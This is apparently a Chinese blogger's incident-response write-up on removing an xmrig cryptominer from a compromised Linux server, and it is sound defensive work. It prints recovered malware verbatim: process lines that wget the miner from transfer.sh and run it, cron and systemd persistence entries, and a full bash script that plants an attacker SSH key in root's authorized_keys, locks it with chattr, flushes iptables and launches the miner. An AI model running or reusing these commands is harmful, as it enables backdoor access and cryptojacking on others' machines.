127.0.0.1
登录的,一看就知道是映射到公网被人登录了killall xmrig
一键停止挖矿程序/var/tmp/
路径下有疑似扫描的程序lpz
用户启动的程序lpz 9845 1 0 5月16 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz 10361 1 0 16:00 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz 10628 1 0 16:00 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz 11418 1 0 5月16 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz 12349 1 0 5月16 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
lpz 13160 1 0 5月15 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf ..o ; mkdir ..o ; cd ..o ; wget http://transfer.sh/GgVQs/xmrig ; chmod +x xmrig ; ./xmrig
lpz 13462 1 0 16:10 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; cd ..o ; ./xmrig
lpz 13633 1 0 5月16 ? 00:00:00 /usr/sbin/sshd f bios.txt passretea 22 cd /var/tmp ; rm -rf xmrig ; wget http://transfer.sh/zA1eg/xmrig ; chmod +x xmrig ; ./xmrig
/var/spool/cron/crontabs/lpz
文件内容,注释所有内容# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/var/tmp/.5p4rk3l5 installed on Mon May 3 14:22:22 2021)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
@daily /var/tmp/./.b4nd1d0
@reboot /var/tmp/./.black > /dev/null 2>&1 & disown
* * * * * /var/tmp/./.black > /dev/null 2>&1 & disown
@monthly /var/tmp/./.black > /dev/null 2>&1 & disown
/usr/bin/sa/sa1
文件不存在,是因为前面的排查的同学已经把这个恶意路径重命名了,程序启动不了。那就搜索哪里出现了这个可疑路径。find -print0|xargs -0 strings |grep "/usr/lib64/sa"
/usr/bin/
没有直接关系,线索暂时中断。ps -ef
可以看到启动了一个进程 /usr/bin/随机字符串
,发送kill -9
之后立刻重新启动,启动之后这个程序会删除本身,以达到隐藏自己的目的。父进程pid
是1
,可以知道是systemd
启动的恶意进程。pid
是1
我们可以推测程序利用了 systemd
重启恶意程序。service
的配置文件里面写了Restart=always
这个重启策略。/etc/systemd/
里面注册的 Restart=always
的配置文件。找了半天实在眼花,也用了正常工作的CentOS
的systemd
服务和此服务器的做对比,区别挺大,没有找到明显异常,此路不通。:)systemctl list-unit-files|grep enabled
SEGV
让他异常退出,看看有没有coredump
,从coredump
分析。因为似乎并没有配置coredump
的策略,不过也不是不能用,限于较懒+不是我的服务器,不能乱搞。程序异常退出后,在 /var/spool/abrt
可以看到正在保存过程中的 coredump
文件,等他dump完成之后会移动到其他地方,拼个手速赶在系统删掉他之前把他复制一份。environ
可以看到里面有该文件的路径 /usr/bin/ab06174bf1
和另一个路径 /usr/sbin/route_forbidden-close
environ
的话我为啥还要费力的给他发SEGV
让他段错误,直接去/proc/
翻就行了55555 :)upx
字样,正常程序肯定不会用upx
的。可能这也是逃过我们刚刚的find+strings
组合的原因了。cat /usr/lib/systemd/system/pmapx_start_2.service
# This file is part of systemd.
#
# systemd is free software; you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.
#
# Entries in this file show the compile time defaults.
# You can change settings by editing this file.
# Defaults can be restored by simply deleting this file.
#
# See resolved.conf(5) for details[Unit]
Description=System function loader.[Service]
Type=forking
GuessMainPID=no
Restart=always
RestartSec=10
ExecStart=-/usr/sbin/route_forbidden-close[Install]
WantedBy=multi-user.target
upx
加壳,我可能还真找不到你了 :)systemctl disable pmapx_start_2
systemctl stop pmapx_start_2
ps -ef|grep /usr/bin
,没有异常的那个进程了,CPU负载也降到0了。:w
不能保存,:w!
也不行,看起来像是用了chattr
添加了只读属性。chattr -i
去掉只读,然后覆盖掉里面的内容,问题解决。当时解决这个问题的时候还没有仔细分析 shell 脚本,看到写了公钥就直接去服务器了,往后面的shell脚本里面是能看到具体的地方的。#!/bin/bash### Functii / Variabile ###random_name="$(openssl rand -hex 5)"locatie_miner_default="/usr/sbin/rmt_remount-open"locatie_pid="/usr/local/share/.logfile"sshkey="ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoRh5CpR0h90JlvwmaVUv7wkzp/D2dqs9v9jpR0XVzJOMTafumdQYNHgWpfXd8N8Er01aYeZfe8070bNwNHgueubH96beSEs3gPtIpcrpDMtzRDHkieUlVwyLfbJxXgYWjikuQtn8HNU21hJ5BIUqLKSKAJ1LvPY3O6QVrQwBPbKaIkdbbKDfAYgBRYvCS6n9wvqyTHmN4Yk/CPW4Y489rvffuxGD+NzdX0gfUqu8+YcC8gPV7RcFsqrXMssKHaEg/XSMiuzRqNOy4SzXAM5Rxgst8ff6v9hCR5kx5QbGuIwS4DseWymEjs4YqgXAT5THV6baXG6Tf5utfzDxoCAM0w== raducu"########################################################if [ -f /usr/sbin/lib23fr ]; then static=/usr/sbin/lib23frelse static=cp fi if [ -f /usr/sbin/chattr_bakv2 ]; then static2=/usr/sbin/chattr_bakv2else static2=chattrfi if [ -f /usr/sbin/lodosir ]; then static3=/usr/sbin/lodosirelse static3=rm fi########################################################permisiuni_logs(){
$static2 -i -a -j -t -d -u /usr $static2 -i -a -j -t -d -u /usr/bin $static2 -i -a -j -t -d -u /usr/local $static2 -i -a -j -t -d -u /usr/local/share $static2 -i -a -j -t -d -u $locatie_pid
chmod +x $locatie_pid}######sshkeyset() {
if [ $(id -u) = 0 ]; then if [ -f "/root/.ssh/authorized_keys" ]; then if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ; then
$static2 -i -a -j -t -d -u /root ; $static2 -i -a -j -t -d -u /root/.ssh ; $static2 -i -a -j -t -d -u /root/.ssh/authorized_keys echo $sshkey > "/root/.ssh/authorized_keys"
chmod 600 /root/.ssh/authorized_keys $static2 +i /root/.ssh/authorized_keys else
: fi else if [ -d "/root/.ssh" ]; then
$static2 -i -a -j -t -d -u /root/.ssh echo $sshkey > "/root/.ssh/authorized_keys"
chmod 600 /root/.ssh/authorized_keys $static2 +i /root/.ssh/authorized_keys else
$static2 -i -a -j -t -d -u /root mkdir "/root/.ssh"
echo $sshkey > "/root/.ssh/authorized_keys"
chmod 600 /root/.ssh/authorized_keys $static2 +i /root/.ssh/authorized_keys fi fi fi}######scoatem_ports(){
iptables -F ; iptables --flush ; echo "nameserver 8.8.8.8"> /etc/resolv.conf}######kulkat() {
if [ -f /usr/bin/config.json ]; then
$static2 -i -a -j -t -d -u /usr/bin/config.json rm -rf /usr/bin/config.json fi}######functie_on(){
$static2 -i -a -j -t -d -u /usr/bin $static2 -i -a -j -t -d -u /usr $static $locatie_miner_default /usr/bin/$random_name
/usr/bin/$random_name > /dev/null 2>&1 & disown echo $random_name > $locatie_pid
$static3 -rf /usr/bin/$random_name}######### End of Functii / Varibile ##### aici incepe tot codu cicapermisiuni_logs
sshkeyset
scoatem_ports
kulkat
functie_on
authorized_key
,然后chattr
设定只读。/usr/sbin/chattr_bakv2
,推测攻击者在某些地方会把系统原有的 chattr
换个名字,让管理员上去排查的时候没有chattr
可用,好家伙,直呼内行。/usr/sbin/rmt_remount-open
就是挖矿程序的本体了,先把挖矿程序复制到 /usr/bin/$random_name
,然后启动挖矿程序,删除掉挖矿程序。由于shell脚本本身是 systemd
启动的,我们停止了挖矿程序后 systemd
又会执行一遍这个脚本,陷入无尽的循环。functie_on(){
$static2 -i -a -j -t -d -u /usr/bin $static2 -i -a -j -t -d -u /usr $static $locatie_miner_default /usr/bin/$random_name
/usr/bin/$random_name > /dev/null 2>&1 & disown echo $random_name > $locatie_pid
$static3 -rf /usr/bin/$random_name}
systemd
关心的是这个 shell脚本的状态,shell脚本执行了 /usr/bin/$random_name > /dev/null 2>&1 & disown
就跑路了,disown
参数把这个进程从 jobs
中移除了,即使退出了shell也不会影响他执行。那么,我们给 /usr/bin/$random_name
发送了 kill -9
之后,他的脚本如何发现这个进程已经退出了然后重新启动的呢?我们发送 kill -i
不会影响这个shell脚本的执行的。root:123456
这类口令基本是白给的getdents
这类系统调用来隐藏自己,直接删除自己这个技术含量不太高,PS一下子就看到了29/30*100%=96.7%
,比黄四郎抽的还多 :)10:00-18:00
营业,而我是 996 的打工人,意味着我只有周日才能有时间来了,先用另一张卡凑合续命吧。如有侵权,请联系删除
好文推荐